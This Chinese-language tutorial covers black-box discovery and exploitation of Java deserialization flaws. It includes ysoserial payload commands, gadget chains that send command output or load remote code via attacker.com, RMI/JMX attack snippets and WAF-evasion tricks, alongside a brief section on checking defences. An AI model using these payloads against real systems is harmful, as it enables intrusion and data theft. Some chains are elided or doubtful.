章
目
录
Java应用反序列化漏洞一直是黑客攻击的重点目标。在黑盒测试场景中,挖掘这类漏洞并掌握有效的利用技巧,对保障系统安全至关重要。接下来,咱们就深入探讨一下Java反序列化漏洞在黑盒实战中的各类技巧,包括从发现入口点到利用漏洞,再到防御方案验证的全过程。
一、入口点发现技巧
在黑盒测试时,要想发现Java反序列化漏洞的入口点,需要从协议特征和常见渗透路径这两个方向入手。
(一)协议特征识别
- Java原生序列化:Java原生序列化数据有特定的格式,其请求头
Content-Type
通常为application/x-java-serialized-object
,并且数据开头会有魔数头AC ED 00 05
,像这样:
POST /api/data HTTP/1.1
Content-Type: application/x-java-serialized-object
[HEX] AC ED 00 05 73 72 00 ... # 魔数头AC ED 00 05
一旦在请求中发现这些特征,就很可能存在Java反序列化的入口。
2. XML序列化:XML序列化也有自己的格式规范。如下方代码示例,<java serialization="1.0">
标签表明这是一个Java序列化的XML数据,通过检查类似的结构和其中的类信息,可以判断是否存在反序列化风险。
<java serialization="1.0">
<object class="java.util.HashMap">
<field name="user" class="com.example.User">
<string>test</string>
</field>
</object>
</java>
- JSON特殊格式:部分情况下,JSON数据也会涉及反序列化。当看到
@type
字段指定类名,且存在类似$ref
这样的特殊引用时,就需要警惕反序列化漏洞。例如:
{
"@type": "com.example.User",
"name": {"$ref":"$.恶意属性"}
}
(二)常见渗透路径
在寻找反序列化漏洞时,常见的渗透路径包括HTTP请求中的参数污染、Cookie篡改、文件上传等。此外,JMX端口(默认1099)和RMI服务也可能成为突破口。比如,对1099端口进行探测,查看是否存在JMX服务;利用RMI服务的远程对象绑定功能,尝试发现潜在的反序列化漏洞。可以用下面这个关系图来直观展示:
二、漏洞检测手法
找到可能的入口点后,就需要检测是否真的存在反序列化漏洞。下面介绍几种常用的检测方法。
(一)盲打检测法
盲打检测法借助DNSLOG来实现。通过ysoserial.jar
工具生成包含DNSLOG地址的Payload,像这样:
java -jar ysoserial.jar URLDNS "http://xxxxxx.dnslog.cn" > payload.bin
然后,使用curl
命令将生成的Payload发送到目标网站:
curl -X POST --data-binary @payload.bin http://target.com/api
如果在DNSLOG平台上看到有解析记录,那就说明目标可能存在反序列化漏洞。
(二)延时检测法
延时检测法的原理是利用构造特定的Payload,让目标服务器执行sleep
操作,从而延长响应时间。以CommonsCollections5
为例,构造如下Payload:
Transformer[] chain = {
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"sleep", new Class[]{Long.TYPE}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{5000}})
};
正常情况下,请求的响应时间可能只有200ms。但如果成功触发了反序列化漏洞,服务器执行sleep
操作,响应时间就会超过5000ms。通过对比响应时间,就能判断是否存在漏洞。
(三)错误信息分析
当服务器返回错误信息时,要仔细分析。如果错误信息中出现InvokerTransformer
、AnnotationInvocationHandler
等敏感类名,或者InvalidClassException
中包含CC组件信息,那么很可能存在反序列化漏洞。比如下面这个错误信息:
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
java.io.InvalidClassException:
org.apache.commons.collections.functors.InvokerTransformer;
local class incompatible: stream classdesc serialVersionUID = -8653385846894807688...
这种情况下,就需要进一步深入检测和利用。
三、协议级渗透技巧
如果确定存在漏洞,接下来就可以尝试进行协议级别的渗透攻击。
(一)RMI服务探测
使用nmap
工具扫描RMI注册端口(默认1099),并利用rmi-vuln-classloader
脚本检测是否存在漏洞:
nmap -p 1099 --script rmi-vuln-classloader 192.168.1.100
要是发现存在漏洞,还可以尝试强制绑定恶意对象,代码示例如下:
String server = "rmi://192.168.1.100:1099/Exploit";
Naming.bind(server, new MaliciousObject());
(二)JMX攻击
针对JMX服务,可以构造JMX连接的Payload进行攻击。如下代码,通过创建JMXServiceURL
并连接,尝试利用JMX漏洞:
JMXServiceURL url = new JMXServiceURL(
"service:jmx:rmi:///jndi/rmi://attacker.com:1099/exploit"
);
JMXConnector connector = JMXConnectorFactory.connect(url);
(三)HTTP参数注入
在HTTP请求中,通过参数注入的方式传递序列化对象。比如在文件上传或者其他支持参数提交的场景中,将序列化数据放在参数中:
POST /exportData HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="config"
rO0ABXNyADRjb20uZXhhbXBsZS5TZXJpYWxpemFibGVDb25maWg... # 序列化对象
四、高级绕过检测
为了突破目标系统的防御机制,攻击者还会使用一些高级绕过检测的技巧。
(一)协议伪装技巧
把序列化数据嵌入到JSON格式中,利用Base64编码进行伪装。示例代码如下:
import base64
import requests
payload = open('payload.bin', 'rb').read()
wrapped = {
"data": {
"type": "base64",
"value": base64.b64encode(payload).decode()
}
}
requests.post(url, json=wrapped)
这样,原始的序列化特征被隐藏,可能绕过一些简单的安全检测。
(二)字符集混淆
利用多种编码方式来混淆WAF(Web应用防火墙)的检测。示例代码如下:
String[] encodings = {"UTF-16BE", "UTF-32", "x-COMPOUND_TEXT"};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payload);
for (String enc : encodings) {
String encoded = new String(bos.toByteArray(), enc);
sendTestRequest(encoded);
}
通过这种方式,即使WAF对特定字符有检测规则,也可能因为编码的变化而绕过。
(三)分块传输绕过
利用HTTP的分块传输特性,将Payload分成多个块进行传输。例如:
POST /api/upload HTTP/1.1
Transfer-Encoding: chunked
7
\xac\xed\x00\x05
0
...后续chunk携带剩余payload...
这种方式可以让Payload在传输过程中避开一些基于整体数据特征的检测。
五、工具链配置
在实际测试中,合理配置工具可以提高检测和利用的效率。
(一)Burp Suite插件配置
在Burp Suite中,可以编写自定义插件来自动检测Java反序列化漏洞。下面是一个简单的示例代码:
from burp import IBurpExtender
from burp import IScannerCheck
class BurpExtender(IBurpExtender, IScannerCheck):
def doPassiveScan(self, baseRequestResponse):
data = baseRequestResponse.getRequest()
if b'\xac\xed\x00\x05' in data:
return [CustomScanIssue(
baseRequestResponse.getHttpService(),
"Java Serialization Detected",
"Possible insecure deserialization")]
这个插件会在被动扫描时,检查请求数据中是否存在Java序列化的魔数头,如果有,就提示可能存在不安全的反序列化漏洞。
(二)自动化检测脚本
编写自动化检测脚本可以批量生成和发送Payload,提高检测效率。比如下面这个Bash脚本:
#!/bin/bash
# 自动化黑盒测试脚本
TARGET=$1
# 生成所有CC变种payload
for gadget in {1..10}; do
ysoserial.jar CommonsCollections$gadget "nslookup $gadget.xxx.dnslog.cn" > payload$gadget.bin
curl -X POST --data-binary @payload$gadget.bin $TARGET
done
该脚本会利用ysoserial.jar
工具生成多个基于CommonsCollections
的Payload,并发送到目标网站进行检测。
六、漏洞确认与利用
当检测到可能存在漏洞后,还需要进一步确认并利用漏洞。
(一)回显验证
构造能够执行命令并回显结果的Payload,以此来确认漏洞的存在和可利用性。示例代码如下:
String cmd = "curl http://attacker.com/$(whoami|base64)";
Transformer[] chain = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
通过检查是否能在攻击者的服务器上收到回显信息,判断漏洞是否真的可利用。
(二)内存马注入验证
通过在请求头中注入特定的表达式,检测是否存在内存马注入的可能。例如:
GET /favicon.ico HTTP/1.1
Host: target.com
X-Token: ${@Runtime@getRuntime().exec("calc")} # 检测表达式解析
如果服务器执行了这个表达式(比如弹出计算器),就说明存在内存马注入的风险。
七、防御方案验证
对于系统管理员和安全工程师来说,了解如何验证防御方案是否有效同样重要。
(一)安全配置检查
检查服务器是否配置了反序列化过滤,可以通过发送已知的序列化数据进行测试。比如:
curl -v -X POST --data 'rO0ABXNy...' -H "Content-Type: application/x-java-serialized-object" http://target.com/api
如果服务器返回403 Forbidden,并提示不支持的媒体类型,说明服务器可能配置了有效的反序列化过滤。
(二)WAF规则测试
测试WAF是否能拦截常见的反序列化攻击特征。可以编写脚本,发送包含反序列化特征的Payload进行测试:
import requests
payloads = [
b'InvokerTransformer',
b'AnnotationInvocationHandler',
b'\xac\xed\x00\x05'
]
for p in payloads:
r = requests.post(url, data=p)
if r.status_code != 403:
print(f"Bypass found: {p[:20]}...")
如果WAF没有拦截这些Payload,就说明WAF规则可能存在缺陷,需要进一步优化。
八、深度技巧与案例分析
除了上述基础技巧,还有一些深度技巧和实际案例值得深入研究。
(一)深度检测技巧
- DNS/ICMP双通道验证:结合DNS查询和ICMP回显来检测漏洞,提高检测的隐蔽性。利用
ysoserial
生成DNS探测Payload,同时使用scapy
监听ICMP回包:
import os
import requests
from scapy.all import *
dns_log = "yourdomain.dnslog.cn"
payload = os.popen(f'java -jar ysoserial.jar URLDNS {dns_log}').read()
requests.post(target_url, data=payload)
def icmp_callback(pkt):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # ICMP请求包
print(f"ICMP Echo Request from {pkt[IP].src}")
sniff(filter="icmp", prn=icmp_callback, timeout=30)
如果目标网络限制DNS外连,还可以改用CommonsCollections5
构造ping
命令触发ICMP回包。
2. 非常规协议伪装:将序列化数据嵌入JSON参数或者隐藏在文件上传字段中,绕过基础的WAF检测。比如HTTP参数嵌套Base64的方式:
import base64
import requests
with open("payload.bin", "rb") as f:
serialized_data = f.read()
wrapped_payload = {
"data": {
"type": "binary",
"content": base64.b64encode(serialized_data).decode()
}
}
requests.post("http://target/api/upload", json=wrapped_payload)
还有Multipart表单注入的方式:
import requests
files = {
'file': ('payload.bin', open('payload.bin', 'rb'),
'application/x-java-serialized-object')
}
requests.post("http://target/upload", files=files)
- 中间件特性利用:针对JBoss 5.x/6.x的
ReadOnlyAccessFilter
组件,可以构造特定的Payload进行攻击:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(javax.management.MBeanServerConnection.class),
new InvokerTransformer("getAttribute",
new Class[]{ObjectName.class, String.class},
new Object[]{new ObjectName("jboss.system:type=Server"), "StartTime"}),
new InvokerTransformer("toString", null, null)
};
发送这个Payload至/invoker/readonly
端点,就有可能利用MBean操作执行命令。
4. 时序攻击与条件竞争:通过延迟注入检测,根据响应时间差异判断漏洞。示例代码如下:
import time
payloads = [
generate_sleep_payload(5), # 生成触发Thread.sleep(5000)的payload
generate_dummy_payload()
]
for p in payloads:
start = time.time()
requests.post(target_url, data=p)
elapsed = time.time() - start
if elapsed > 4.5:
print(f"Potential vulnerability detected with payload {p}")
如果服务器执行sleep
操作,响应时间就会明显变长,从而判断可能存在漏洞。
5. 非标准端口探测:使用nmap
检测JMX服务的1099端口,并且尝试强制绑定恶意对象:
nmap -p 1099 --script rmi-dumpregistry <target_ip>
String jmxUrl = "service:jmx:rmi:///jndi/rmi://attacker_ip:1099/Exploit";
JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(jmxUrl));
如果JMX服务未配置安全策略,攻击者就有可能直连执行命令。
6. 防御绕过技巧:利用动态类加载混淆来绕过检测。比如下面这个利用URLClassLoader
加载远程类的示例:
Transformer[] chain = {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("newInstance",
new Class[]{URL[].class},
new Object[]{new URL[]{new URL("http://attacker.com/")}}),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"Exploit"}),
new InvokerTransformer("newInstance", null, null)
};
这种方式可以避免直接引用危险类,绕过一些静态黑名单检测。
(二)案例分析
- Apache Commons Collections反序列化漏洞:Apache Commons Collections库的3.x和4.x版本中,
InvokerTransformer
类存在安全隐患,攻击者可以利用它构造反射调用链执行任意方法。利用条件是目标应用使用特定版本的ACC库,并且存在未过滤的反序列化入口。攻击步骤包括构造利用链、生成Payload并发送,最终触发目标服务器执行系统命令。 - Apache Tomcat会话持久化漏洞(CVE-2025-24813):Tomcat的会话持久化机制在特定配置下存在风险。如果Tomcat启用基于文件的会话存储,并且支持部分PUT请求,攻击者就可以通过上传恶意序列化文件,再发送携带恶意Session ID的GET请求,触发反序列化操作,进而获取敏感信息或执行恶意代码。这一案例再次提醒我们,在实际开发和运维中,要密切关注中间件的版本和配置,及时修复已知漏洞,加强安全防护措施。
在黑盒环境下挖掘和利用Java反序列化漏洞,需要熟练掌握各类技巧和工具,同时也要深入了解防御机制,以便在攻防对抗中占据优势。